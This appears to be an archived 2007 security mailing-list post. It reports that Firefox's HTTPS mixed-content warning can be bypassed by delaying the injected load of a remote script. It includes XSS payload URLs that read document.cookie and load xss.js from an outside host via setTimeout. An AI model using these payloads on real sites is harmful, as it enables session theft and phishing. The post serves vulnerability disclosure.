From: Michal Majchrowicz (m.majchrowiczgmail.com)
Date: Wed Apr 04 2007 - 06:29:14 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

When user visits sites over HTTPS protocol he is informed by the Web
Browser everytime the site tries to load unsecured (using HTTP
protocol) element (script/iframe/object etc.).
So for instance if we have XSS vulnerable site
https://server.com/vuln.php?id="><script>alert(document.cookie);</script>
Everybrowser will execute it without any complains since they cannot
know where the code comes from. But this example will cause a warning:
https://server.com/vuln.php?id="><script
src="http://server2.com/xss.js"></script>
Web Browser knows that we are trying to load something over unsecure protocol.
However Mozilla Firefox will fail with the following example and the
user will think that all the elements are "safe":
https://server.com/vuln.php?id="><script>setTimeout("document.write('<script
src=http://server2.com/xss.js></script>',10000)"</script>
The "insecure element" will be added after Web Browser performs
checking therefore allowing for instance phising attacks. Internet
Explorer is not vulnerable to this issue. Other Web Browser weren't
tested.

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]